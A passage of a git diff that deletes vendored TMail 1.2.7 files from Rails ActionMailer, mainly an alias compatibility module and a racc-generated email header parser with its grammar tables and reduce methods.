-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#
-# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
-# with permission of Minero Aoki.
-#++
-#:stopdoc:
-module TMail #:nodoc:
-
-  class Mail
-    alias include? key?
-    alias has_key? key?
-
-    def values
-      ret = []
-      each_field {|v| ret.push v }
-      ret
-    end
-
-    def value?( val )
-      HeaderField === val or return false
-
-      [ @header[val.name.downcase] ].flatten.include? val
-    end
-
-    alias has_value? value?
-  end
-
-  class Mail
-    def from_addr( default = nil )
-      addr, = from_addrs(nil)
-      addr || default
-    end
-
-    def from_address( default = nil )
-      if a = from_addr(nil)
-        a.spec
-      else
-        default
-      end
-    end
-
-    alias from_address= from_addrs=
-
-    def from_phrase( default = nil )
-      if a = from_addr(nil)
-        a.phrase
-      else
-        default
-      end
-    end
-
-    alias msgid  message_id
-    alias msgid= message_id=
-
-    alias each_dest each_destination
-  end
-
-  class Address
-    alias route routes
-    alias addr spec
-
-    def spec=( str ) 
-      @local, @domain = str.split(/@/,2).map {|s| s.split(/\./) }
-    end
-
-    alias addr= spec=
-    alias address= spec=
-  end
-
-  class MhMailbox
-    alias new_mail new_port
-    alias each_mail each_port
-    alias each_newmail each_new_port
-  end
-  class UNIXMbox
-    alias new_mail new_port
-    alias each_mail each_port
-    alias each_newmail each_new_port
-  end
-  class Maildir
-    alias new_mail new_port
-    alias each_mail each_port
-    alias each_newmail each_new_port
-  end
-
-  extend TextUtils
-
-  class << self
-    alias msgid?    message_id?
-    alias boundary  new_boundary
-    alias msgid     new_message_id
-    alias new_msgid new_message_id
-  end
-
-  def Mail.boundary
-    ::TMail.new_boundary
-  end
-
-  def Mail.msgid
-    ::TMail.new_message_id
-  end
-
-end   # module TMail
-#:startdoc:
\ No newline at end of file
diff --git a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/parser.rb b/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/parser.rb
deleted file mode 100644
index 1d4dcc2f..00000000
--- a/vendor/rails/actionmailer/lib/action_mailer/vendor/tmail-1.2.7/tmail/parser.rb
+++ /dev/null
@@ -1,1060 +0,0 @@
-#
-# DO NOT MODIFY!!!!
-# This file is automatically generated by racc 1.4.5
-# from racc grammer file "lib/tmail/parser.y".
-#
-
-require 'racc/parser'
-
-
-#
-# parser.rb
-#
-# Copyright (c) 1998-2007 Minero Aoki
-#
-# This program is free software.
-# You can distribute/modify this program under the terms of
-# the GNU Lesser General Public License version 2.1.
-#
-
-require 'tmail/scanner'
-require 'tmail/utils'
-
-
-module TMail
-
-  class Parser < Racc::Parser
-
-module_eval <<'..end lib/tmail/parser.y modeval..id2dd1c7d21d', 'lib/tmail/parser.y', 340
-
-  include TextUtils
-
-  def self.parse( ident, str, cmt = nil )
-    str = special_quote_address(str) if ident.to_s =~ /M?ADDRESS/
-    new.parse(ident, str, cmt)
-  end
-
-  def self.special_quote_address(str) #:nodoc:
-    # Takes a string which is an address and adds quotation marks to special
-    # edge case methods that the RACC parser can not handle.
-    #
-    # Right now just handles two edge cases:
-    #
-    # Full stop as the last character of the display name:
-    #   Mikel L. <mikel@me.com>
-    # Returns:
-    #   "Mikel L." <mikel@me.com>
-    #
-    # Unquoted @ symbol in the display name:
-    #   mikel@me.com <mikel@me.com>
-    # Returns:
-    #   "mikel@me.com" <mikel@me.com>
-    #
-    # Any other address not matching these patterns just gets returned as is.
-    case
-    # This handles the missing "" in an older version of Apple Mail.app
-    # around the display name when the display name contains a '@'
-    # like 'mikel@me.com <mikel@me.com>'
-    # Just quotes it to: '"mikel@me.com" <mikel@me.com>'
-    when str =~ /\A([^"].+@.+[^"])\s(<.*?>)\Z/
-      return "\"#{$1}\" #{$2}"
-    # This handles cases where 'Mikel A. <mikel@me.com>' which is a trailing
-    # full stop before the address section.  Just quotes it to
-    # '"Mikel A." <mikel@me.com>'
-    when str =~ /\A(.*?\.)\s(<.*?>)\s*\Z/
-      return "\"#{$1}\" #{$2}"
-    else
-      str
-    end
-  end
-
-  MAILP_DEBUG = false
-
-  def initialize
-    self.debug = MAILP_DEBUG
-  end
-
-  def debug=( flag )
-    @yydebug = flag && Racc_debug_parser
-    @scanner_debug = flag
-  end
-
-  def debug
-    @yydebug
-  end
-
-  def parse( ident, str, comments = nil )
-    @scanner = Scanner.new(str, ident, comments)
-    @scanner.debug = @scanner_debug
-    @first = [ident, ident]
-    result = yyparse(self, :parse_in)
-    comments.map! {|c| to_kcode(c) } if comments
-    result
-  end
-
-  private
-
-  def parse_in( &block )
-    yield @first
-    @scanner.scan(&block)
-  end
-  
-  def on_error( t, val, vstack )
-    raise TMail::SyntaxError, "parse error on token #{racc_token2str t}"
-  end
-
-..end lib/tmail/parser.y modeval..id2dd1c7d21d
-
-##### racc 1.4.5 generates ###
-
-racc_reduce_table = [
- 0, 0, :racc_error,
- 2, 35, :_reduce_1,
- 2, 35, :_reduce_2,
- 2, 35, :_reduce_3,
- 2, 35, :_reduce_4,
- 2, 35, :_reduce_5,
- 2, 35, :_reduce_6,
- 2, 35, :_reduce_7,
- 2, 35, :_reduce_8,
- 2, 35, :_reduce_9,
- 2, 35, :_reduce_10,
- 2, 35, :_reduce_11,
- 2, 35, :_reduce_12,
- 6, 36, :_reduce_13,
- 0, 48, :_reduce_none,
- 2, 48, :_reduce_none,
- 3, 49, :_reduce_16,
- 5, 49, :_reduce_17,
- 1, 50, :_reduce_18,
- 7, 37, :_reduce_19,
- 0, 51, :_reduce_none,
- 2, 51, :_reduce_21,
- 0, 52, :_reduce_none,
- 2, 52, :_reduce_23,
- 1, 58, :_reduce_24,
- 3, 58, :_reduce_25,
- 2, 58, :_reduce_26,
- 0, 53, :_reduce_none,
- 2, 53, :_reduce_28,
- 0, 54, :_reduce_29,
- 3, 54, :_reduce_30,
- 0, 55, :_reduce_none,
- 2, 55, :_reduce_32,
- 2, 55, :_reduce_33,
- 0, 56, :_reduce_none,
- 2, 56, :_reduce_35,
- 1, 61, :_reduce_36,
- 1, 61, :_reduce_37,
- 0, 57, :_reduce_none,
- 2, 57, :_reduce_39,
- 1, 38, :_reduce_none,
- 1, 38, :_reduce_none,
- 3, 38, :_reduce_none,
- 1, 46, :_reduce_none,
- 1, 46, :_reduce_none,
- 1, 46, :_reduce_none,
- 1, 39, :_reduce_none,
- 2, 39, :_reduce_47,
- 1, 64, :_reduce_48,
- 3, 64, :_reduce_49,
- 1, 68, :_reduce_none,
- 1, 68, :_reduce_none,
- 1, 69, :_reduce_52,
- 3, 69, :_reduce_53,
- 1, 47, :_reduce_none,
- 1, 47, :_reduce_none,
- 2, 47, :_reduce_56,
- 2, 67, :_reduce_none,
- 3, 65, :_reduce_58,
- 2, 65, :_reduce_59,
- 1, 70, :_reduce_60,
- 2, 70, :_reduce_61,
- 4, 62, :_reduce_62,
- 3, 62, :_reduce_63,
- 2, 72, :_reduce_none,
- 2, 73, :_reduce_65,
- 4, 73, :_reduce_66,
- 3, 63, :_reduce_67,
- 1, 63, :_reduce_68,
- 1, 74, :_reduce_none,
- 2, 74, :_reduce_70,
- 1, 71, :_reduce_71,
- 3, 71, :_reduce_72,
- 1, 59, :_reduce_73,
- 3, 59, :_reduce_74,
- 1, 76, :_reduce_75,
- 2, 76, :_reduce_76,
- 1, 75, :_reduce_none,
- 1, 75, :_reduce_none,
- 1, 75, :_reduce_none,
- 1, 77, :_reduce_none,
- 1, 77, :_reduce_none,
- 1, 77, :_reduce_none,
- 1, 66, :_reduce_none,
- 2, 66, :_reduce_none,
- 3, 60, :_reduce_85,
- 1, 40, :_reduce_86,
- 3, 40, :_reduce_87,
- 1, 79, :_reduce_none,
- 2, 79, :_reduce_89,
- 1, 41, :_reduce_90,
- 2, 41, :_reduce_91,
- 3, 42, :_reduce_92,
- 5, 43, :_reduce_93,
- 3, 43, :_reduce_94,
- 0, 80, :_reduce_95,
- 5, 80, :_reduce_96,
- 5, 80, :_reduce_97,
- 1, 44, :_reduce_98,
- 3, 45, :_reduce_99,
- 0, 81, :_reduce_none,
- 1, 81, :_reduce_none,
- 1, 78, :_reduce_none,
- 1, 78, :_reduce_none,
- 1, 78, :_reduce_none,
- 1, 78, :_reduce_none,
- 1, 78, :_reduce_none,
- 1, 78, :_reduce_none,
- 1, 78, :_reduce_none ]
-
-racc_reduce_n = 109
-
-racc_shift_n = 167
-
-racc_action_table = [
-   -69,   130,   -70,    23,    25,   153,    94,    29,    31,   142,
-   143,    16,    17,    20,    22,    98,   -69,   154,   -70,    32,
-   -69,   107,   -70,   145,   146,    78,   -69,    91,   -70,    75,
-   -70,    23,    25,   120,    88,    29,    31,   105,   106,    16,
-    17,    20,    22,    81,    27,    23,    25,    32,   112,    29,
-    31,    96,    80,    16,    17,    20,    22,   117,    27,    23,
-    25,    32,    79,    29,    31,    78,   123,    16,    17,    20,
-    22,   100,    27,    23,    25,    32,   125,    29,    31,   113,
-   115,    16,    17,    20,    22,   126,    23,    25,   101,    32,
-    29,    31,    91,   128,    16,    17,    20,    22,   129,    27,
-    23,    25,    32,   101,    29,    31,   101,    75,    16,    17,
-    20,    22,    77,    52,    23,    25,    32,    65,    29,    31,
-   133,    78,    16,    17,    20,    22,    62,    23,    25,   136,
-    32,    29,    31,    60,    44,    16,    17,    20,    22,   139,
-    23,    25,   101,    32,    29,    31,   101,   100,    16,    17,
-    20,    22,   100,    27,    23,    25,    32,   101,    29,    31,
-   147,   148,    16,    17,    20,    22,   151,    23,    25,   152,
-    32,    29,    31,    74,    42,    16,    17,    20,    22,   156,
-   158,    92,    40,    32,    23,    25,    15,    68,    29,    31,
-   163,    40,    16,    17,    20,    22,   165,    27,    23,    25,
-    32,   166,    29,    31,   nil,   nil,    16,    17,    20,    22,
-   nil,    27,    23,    25,    32,   nil,    29,    31,   nil,   nil,
-    16,    17,    20,    22,   nil,    23,    25,   nil,    32,    29,
-    31,   nil,   nil,    16,    17,    20,    22,   nil,    23,    25,
-   nil,    32,    29,    31,   nil,   nil,    16,    17,    20,    22,
-   nil,    23,    25,   nil,    32,    29,    31,   nil,   nil,    16,
-    17,    20,    22,   nil,    27,   nil,   nil,    32,    23,    25,
-   120,   nil,    29,    31,   nil,   nil,    16,    17,    20,    22,
-   nil,    27,    23,    25,    32,   nil,    29,    31,   nil,   nil,
-    16,    17,    20,    22,   nil,    23,    25,   109,    32,    29,
-    31,    74,   nil,    16,    17,    20,    22,   nil,    84,    25,
-   nil,    32,    29,    31,   nil,    87,    16,    17,    20,    22,
-    84,    25,   nil,   109,    29,    31,   nil,    87,    16,    17,
-    20,    22,    84,    25,   nil,   nil,    29,    31,   nil,    87,
-    16,    17,    20,    22,    84,    25,   nil,   nil,    29,    31,
-   nil,    87,    16,    17,    20,    22,    84,    25,   nil,   nil,
-    29,    31,   nil,    87,    16,    17,    20,    22,    84,    25,
-   nil,   nil,    29,    31,   nil,    87,    16,    17,    20,    22,
-     4,     6,     7,     8,     9,    10,    11,    12,    13,     1,
-     2,     3,    84,    25,   nil,   nil,    29,    31,   nil,    87,
-    16,    17,    20,    22 ]
-
-racc_action_check = [
-    28,   112,    75,    71,    71,   143,    56,    71,    71,   134,
-   134,    71,    71,    71,    71,    62,    28,   143,    75,    71,
-    28,    73,    75,   136,   136,    51,    28,    50,    75,    28,
-    75,   127,   127,   127,    45,   127,   127,    72,    72,   127,
-   127,   127,   127,    42,   127,     3,     3,   127,    80,     3,
-     3,    60,    41,     3,     3,     3,     3,    89,     3,   151,
-   151,     3,    40,   151,   151,    36,    96,   151,   151,   151,
-   151,    97,   151,    55,    55,   151,    98,    55,    55,    86,
-    86,    55,    55,    55,    55,   100,     7,     7,    86,    55,
-     7,     7,   102,   104,     7,     7,     7,     7,   105,     7,
-     8,     8,     7,   108,     8,     8,   111,    70,     8,     8,
-     8,     8,    33,     8,     9,     9,     8,    13,     9,     9,
-   117,   121,     9,     9,     9,     9,    12,    10,    10,   126,
-     9,    10,    10,    11,     6,    10,    10,    10,    10,   130,
-     2,     2,   131,    10,     2,     2,    67,   135,     2,     2,
-     2,     2,    66,     2,   122,   122,     2,   138,   122,   122,
-   139,   140,   122,   122,   122,   122,   141,    52,    52,   142,
-   122,    52,    52,    52,     5,    52,    52,    52,    52,   147,
-   150,    52,     4,    52,    26,    26,     1,    26,    26,    26,
-   156,   158,    26,    26,    26,    26,   162,    26,    68,    68,
-    26,   163,    68,    68,   nil,   nil,    68,    68,    68,    68,
-   nil,    68,    59,    59,    68,   nil,    59,    59,   nil,   nil,
-    59,    59,    59,    59,   nil,   154,   154,   nil,    59,   154,
-   154,   nil,   nil,   154,   154,   154,   154,   nil,    94,    94,
-   nil,   154,    94,    94,   nil,   nil,    94,    94,    94,    94,
-   nil,    38,    38,   nil,    94,    38,    38,   nil,   nil,    38,
-    38,    38,    38,   nil,    38,   nil,   nil,    38,    90,    90,
-    90,   nil,    90,    90,   nil,   nil,    90,    90,    90,    90,
-   nil,    90,    76,    76,    90,   nil,    76,    76,   nil,   nil,
-    76,    76,    76,    76,   nil,    27,    27,    76,    76,    27,
-    27,    27,   nil,    27,    27,    27,    27,   nil,   114,   114,
-   nil,    27,   114,   114,   nil,   114,   114,   114,   114,   114,
-    44,    44,   nil,   114,    44,    44,   nil,    44,    44,    44,
-    44,    44,    74,    74,   nil,   nil,    74,    74,   nil,    74,
-    74,    74,    74,    74,   113,   113,   nil,   nil,   113,   113,
-   nil,   113,   113,   113,   113,   113,   129,   129,   nil,   nil,
-   129,   129,   nil,   129,   129,   129,   129,   129,    88,    88,
-   nil,   nil,    88,    88,   nil,    88,    88,    88,    88,    88,
-     0,     0,     0,     0,     0,     0,     0,     0,     0,     0,
-     0,     0,    77,    77,   nil,   nil,    77,    77,   nil,    77,
-    77,    77,    77,    77 ]
-
-racc_action_pointer = [
-   378,   155,   126,    31,   167,   174,   116,    72,    86,   100,
-   113,   119,    95,    86,   nil,   nil,   nil,   nil,   nil,   nil,
-   nil,   nil,   nil,   nil,   nil,   nil,   170,   281,     0,   nil,
-   nil,   nil,   nil,    92,   nil,   nil,    39,   nil,   237,   nil,
-    46,    38,    43,   nil,   306,    15,   nil,   nil,   nil,   nil,
-    11,    -1,   153,   nil,   nil,    59,   -10,   nil,   nil,   198,
-    22,   nil,   -17,   nil,   nil,   nil,   126,   117,   184,   nil,
-    78,   -11,    21,    -7,   318,     2,   268,   378,   nil,   nil,
-    33,   nil,   nil,   nil,   nil,   nil,    59,   nil,   354,    35,
-   254,   nil,   nil,   nil,   224,   nil,    52,    45,    45,   nil,
-    54,   nil,    76,   nil,    65,    78,   nil,   nil,    74,   nil,
-   nil,    77,   -13,   330,   294,   nil,   nil,   105,   nil,   nil,
-   nil,    95,   140,   nil,   nil,   nil,    96,    17,   nil,   342,
-   125,   113,   nil,   nil,   -14,   121,    -7,   nil,   128,   143,
-   146,   141,   154,   -10,   nil,   nil,   nil,   165,   nil,   nil,
-   154,    45,   nil,   nil,   211,   nil,   173,   nil,   176,   nil,
-   nil,   nil,   168,   187,   nil,   nil,   nil ]
-
-racc_action_default = [
-  -109,  -109,  -109,  -109,   -14,  -109,   -20,  -109,  -109,  -109,
-  -109,  -109,  -109,  -109,   -10,   -95,  -105,  -106,   -77,   -44,
-  -107,   -11,  -108,   -79,   -43,  -102,  -109,  -109,   -60,  -103,
-   -55,  -104,   -78,   -68,   -54,   -71,   -45,   -12,  -109,    -1,
-  -109,  -109,  -109,    -2,  -109,   -22,   -51,   -48,   -50,    -3,
-   -40,   -41,  -109,   -46,    -4,   -86,    -5,   -88,    -6,   -90,
-  -109,    -7,   -95,    -8,    -9,   -98,  -100,   -61,   -59,   -56,
-   -69,  -109,  -109,  -109,  -109,   -75,  -109,  -109,   -57,   -15,
-  -109,   167,   -73,   -80,   -82,   -21,   -24,   -81,  -109,   -27,
-  -109,   -83,   -47,   -89,  -109,   -91,  -109,  -100,  -109,   -99,
-  -101,   -75,   -58,   -52,  -109,  -109,   -64,   -63,   -65,   -76,
-   -72,   -67,  -109,  -109,  -109,   -26,   -23,  -109,   -29,   -49,
-   -84,   -42,   -87,   -92,   -94,   -95,  -109,  -109,   -62,  -109,
-  -109,   -25,   -74,   -28,   -31,  -100,  -109,   -53,   -66,  -109,
-  -109,   -34,  -109,  -109,   -93,   -96,   -97,  -109,   -18,   -13,
-   -38,  -109,   -30,   -33,  -109,   -32,   -16,   -19,   -14,   -35,
-   -36,   -37,  -109,  -109,   -39,   -85,   -17 ]
-
-racc_goto_table = [
-    39,    67,    70,    73,    38,    66,    69,    24,    37,    57,
-    59,    36,    55,    67,    99,    90,    85,   157,    69,   108,
-    83,   134,   111,    76,    49,    53,   141,    70,    73,   150,
-   118,    89,    45,   155,   159,   149,   140,    21,    14,    19,
-   119,   102,    64,    63,    61,   124,    70,   104,    58,   132,
-    83,    56,    97,    83,    54,    93,    43,     5,   131,    95,
-   116,   nil,    76,   nil,    83,    76,   nil,   127,   nil,    38,
-   nil,   nil,   nil,   103,   138,   nil,   110,   nil,   nil,   nil,
-   nil,   nil,   nil,   144,   nil,   nil,   nil,   nil,   nil,    83,
-    83,   nil,   nil,   nil,    57,   nil,   nil,   122,   nil,   121,
-   nil,   nil,   nil,   nil,   nil,    83,   nil,   nil,   nil,   nil,
-   nil,   nil,   nil,   nil,   nil,   135,   nil,   nil,   nil,   nil,
-   nil,   nil,    93,   nil,   nil,   nil,    70,   161,    38,    70,
-   162,   160,   137,   nil,   nil,   nil,   nil,   nil,   nil,   nil,
-   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,
-   nil,   nil,   nil,   nil,   164 ]
-
-racc_goto_check = [
-     2,    37,    37,    29,    36,    46,    28,    13,    13,    41,
-    41,    31,    45,    37,    47,    32,    24,    23,    28,    25,
-    44,    20,    25,    42,     4,     4,    21,    37,    29,    22,
-    19,    18,    17,    26,    27,    16,    15,    12,    11,    33,
-    34,    35,    10,     9,     8,    47,    37,    29,     7,    43,
-    44,     6,    46,    44,     5,    41,     3,     1,    25,    41,
-    24,   nil,    42,   nil,    44,    42,   nil,    32,   nil,    36,
-   nil,   nil,   nil,    13,    25,   nil,    41,   nil,   nil,   nil,
-   nil,   nil,   nil,    47,   nil,   nil,   nil,   nil,   nil,    44,
-    44,   nil,   nil,   nil,    41,   nil,   nil,    45,   nil,    31,
-   nil,   nil,   nil,   nil,   nil,    44,   nil,   nil,   nil,   nil,
-   nil,   nil,   nil,   nil,   nil,    46,   nil,   nil,   nil,   nil,
-   nil,   nil,    41,   nil,   nil,   nil,    37,    29,    36,    37,
-    29,    28,    13,   nil,   nil,   nil,   nil,   nil,   nil,   nil,
-   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,
-   nil,   nil,   nil,   nil,     2 ]
-
-racc_goto_pointer = [
-   nil,    57,    -4,    50,    17,    46,    42,    38,    33,    31,
-    29,    37,    35,     5,   nil,   -94,  -105,    26,   -14,   -59,
-   -97,  -108,  -112,  -133,   -28,   -55,  -110,  -117,   -20,   -24,
-   nil,     9,   -35,    37,   -50,   -27,     1,   -25,   nil,   nil,
-   nil,     0,    -5,   -65,   -24,     3,   -10,   -52 ]
-
-racc_goto_default = [
-   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,   nil,
-   nil,   nil,   nil,    48,    41,   nil,   nil,   nil,   nil,   nil,
-   nil,   nil,   nil,   nil,   nil,    86,   nil,   nil,    30,    34,
-    50,    51,   nil,    46,    47,   nil,    26,    28,    71,    72,
-    33,    35,   114,    82,    18,   nil,   nil,   nil ]
-
-racc_token_table = {
- false => 0,
- Object.new => 1,
- :DATETIME => 2,
- :RECEIVED => 3,
- :MADDRESS => 4,
- :RETPATH => 5,
- :KEYWORDS => 6,
- :ENCRYPTED => 7,
- :MIMEVERSION => 8,
- :CTYPE => 9,
- :CENCODING => 10,
- :CDISPOSITION => 11,
- :ADDRESS => 12,
- :MAILBOX => 13,
- :DIGIT => 14,
- :ATOM => 15,
- "," => 16,
- ":" => 17,
- :FROM => 18,
- :BY => 19,
- "@" => 20,
- :DOMLIT => 21,
- :VIA => 22,
- :WITH => 23,
- :ID => 24,
- :FOR => 25,
- ";" => 26,
- "<" => 27,
- ">" => 28,
- "." => 29,
- :QUOTED => 30,
- :TOKEN => 31,
- "/" => 32,
- "=" => 33 }
-
-racc_use_result_var = false
-
-racc_nt_base = 34
-
-Racc_arg = [
- racc_action_table,
- racc_action_check,
- racc_action_default,
- racc_action_pointer,
- racc_goto_table,
- racc_goto_check,
- racc_goto_default,
- racc_goto_pointer,
- racc_nt_base,
- racc_reduce_table,
- racc_token_table,
- racc_shift_n,
- racc_reduce_n,
- racc_use_result_var ]
-
-Racc_token_to_s_table = [
-'$end',
-'error',
-'DATETIME',
-'RECEIVED',
-'MADDRESS',
-'RETPATH',
-'KEYWORDS',
-'ENCRYPTED',
-'MIMEVERSION',
-'CTYPE',
-'CENCODING',
-'CDISPOSITION',
-'ADDRESS',
-'MAILBOX',
-'DIGIT',
-'ATOM',
-'","',
-'":"',
-'FROM',
-'BY',
-'"@"',
-'DOMLIT',
-'VIA',
-'WITH',
-'ID',
-'FOR',
-'";"',
-'"<"',
-'">"',
-'"."',
-'QUOTED',
-'TOKEN',
-'"/"',
-'"="',
-'$start',
-'content',
-'datetime',
-'received',
-'addrs_TOP',
-'retpath',
-'keys',
-'enc',
-'version',
-'ctype',
-'cencode',
-'cdisp',
-'addr_TOP',
-'mbox',
-'day',
-'hour',
-'zone',
-'from',
-'by',
-'via',
-'with',
-'id',
-'for',
-'received_datetime',
-'received_domain',
-'domain',
-'msgid',
-'received_addrspec',
-'routeaddr',
-'spec',
-'addrs',
-'group_bare',
-'commas',
-'group',
-'addr',
-'mboxes',
-'addr_phrase',
-'local_head',
-'routes',
-'at_domains',
-'local',
-'word',
-'dots',
-'domword',
-'atom',
-'phrase',
-'params',
-'opt_semicolon']
-
-Racc_debug_parser = false
-
-##### racc system variables end #####
-
- # reduce 0 omitted
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 16
-  def _reduce_1( val, _values)
- val[1]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 17
-  def _reduce_2( val, _values)
- val[1]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 18
-  def _reduce_3( val, _values)
- val[1]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 19
-  def _reduce_4( val, _values)
- val[1]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 20
-  def _reduce_5( val, _values)
- val[1]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 21
-  def _reduce_6( val, _values)
- val[1]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 22
-  def _reduce_7( val, _values)
- val[1]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 23
-  def _reduce_8( val, _values)
- val[1]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 24
-  def _reduce_9( val, _values)
- val[1]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 25
-  def _reduce_10( val, _values)
- val[1]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 26
-  def _reduce_11( val, _values)
- val[1]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 27
-  def _reduce_12( val, _values)
- val[1]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 36
-  def _reduce_13( val, _values)
-                  t = Time.gm(val[3].to_i, val[2], val[1].to_i, 0, 0, 0)
-                  (t + val[4] - val[5]).localtime
-  end
-.,.,
-
- # reduce 14 omitted
-
- # reduce 15 omitted
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 45
-  def _reduce_16( val, _values)
-                  (val[0].to_i * 60 * 60) +
-                  (val[2].to_i * 60)
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 51
-  def _reduce_17( val, _values)
-                  (val[0].to_i * 60 * 60) +
-                  (val[2].to_i * 60) +
-                  (val[4].to_i)
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 56
-  def _reduce_18( val, _values)
-                  timezone_string_to_unixtime(val[0])
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 61
-  def _reduce_19( val, _values)
-                  val
-  end
-.,.,
-
- # reduce 20 omitted
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 67
-  def _reduce_21( val, _values)
-                  val[1]
-  end
-.,.,
-
- # reduce 22 omitted
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 73
-  def _reduce_23( val, _values)
-                  val[1]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 79
-  def _reduce_24( val, _values)
-                  join_domain(val[0])
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 83
-  def _reduce_25( val, _values)
-                  join_domain(val[2])
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 87
-  def _reduce_26( val, _values)
-                  join_domain(val[0])
-  end
-.,.,
-
- # reduce 27 omitted
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 93
-  def _reduce_28( val, _values)
-                  val[1]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 98
-  def _reduce_29( val, _values)
-                  []
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 103
-  def _reduce_30( val, _values)
-                  val[0].push val[2]
-                  val[0]
-  end
-.,.,
-
- # reduce 31 omitted
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 109
-  def _reduce_32( val, _values)
-                  val[1]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 113
-  def _reduce_33( val, _values)
-                  val[1]
-  end
-.,.,
-
- # reduce 34 omitted
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 119
-  def _reduce_35( val, _values)
-                  val[1]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 125
-  def _reduce_36( val, _values)
-                  val[0].spec
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 129
-  def _reduce_37( val, _values)
-                  val[0].spec
-  end
-.,.,
-
- # reduce 38 omitted
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 136
-  def _reduce_39( val, _values)
-                  val[1]
-  end
-.,.,
-
- # reduce 40 omitted
-
- # reduce 41 omitted
-
- # reduce 42 omitted
-
- # reduce 43 omitted
-
- # reduce 44 omitted
-
- # reduce 45 omitted
-
- # reduce 46 omitted
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 146
-  def _reduce_47( val, _values)
- [ Address.new(nil, nil) ]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 152
-  def _reduce_48( val, _values)
-                  val
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 157
-  def _reduce_49( val, _values)
-                  val[0].push val[2]
-                  val[0]
-  end
-.,.,
-
- # reduce 50 omitted
-
- # reduce 51 omitted
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 165
-  def _reduce_52( val, _values)
-                  val
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 170
-  def _reduce_53( val, _values)
-                  val[0].push val[2]
-                  val[0]
-  end
-.,.,
-
- # reduce 54 omitted
-
- # reduce 55 omitted
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 178
-  def _reduce_56( val, _values)
-                  val[1].phrase = Decoder.decode(val[0])
-                  val[1]
-  end
-.,.,
-
- # reduce 57 omitted
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 185
-  def _reduce_58( val, _values)
-                  AddressGroup.new(val[0], val[2])
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 185
-  def _reduce_59( val, _values)
- AddressGroup.new(val[0], [])
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 188
-  def _reduce_60( val, _values)
- val[0].join('.')
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 189
-  def _reduce_61( val, _values)
- val[0] << ' ' << val[1].join('.')
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 196
-  def _reduce_62( val, _values)
-                  val[2].routes.replace val[1]
-                  val[2]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 200
-  def _reduce_63( val, _values)
-                  val[1]
-  end
-.,.,
-
- # reduce 64 omitted
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 203
-  def _reduce_65( val, _values)
- [ val[1].join('.') ]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 204
-  def _reduce_66( val, _values)
- val[0].push val[3].join('.'); val[0]
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 206
-  def _reduce_67( val, _values)
- Address.new( val[0], val[2] )
-  end
-.,.,
-
-module_eval <<'.,.,', 'lib/tmail/parser.y', 207
-  def _reduce_68( val, _values)
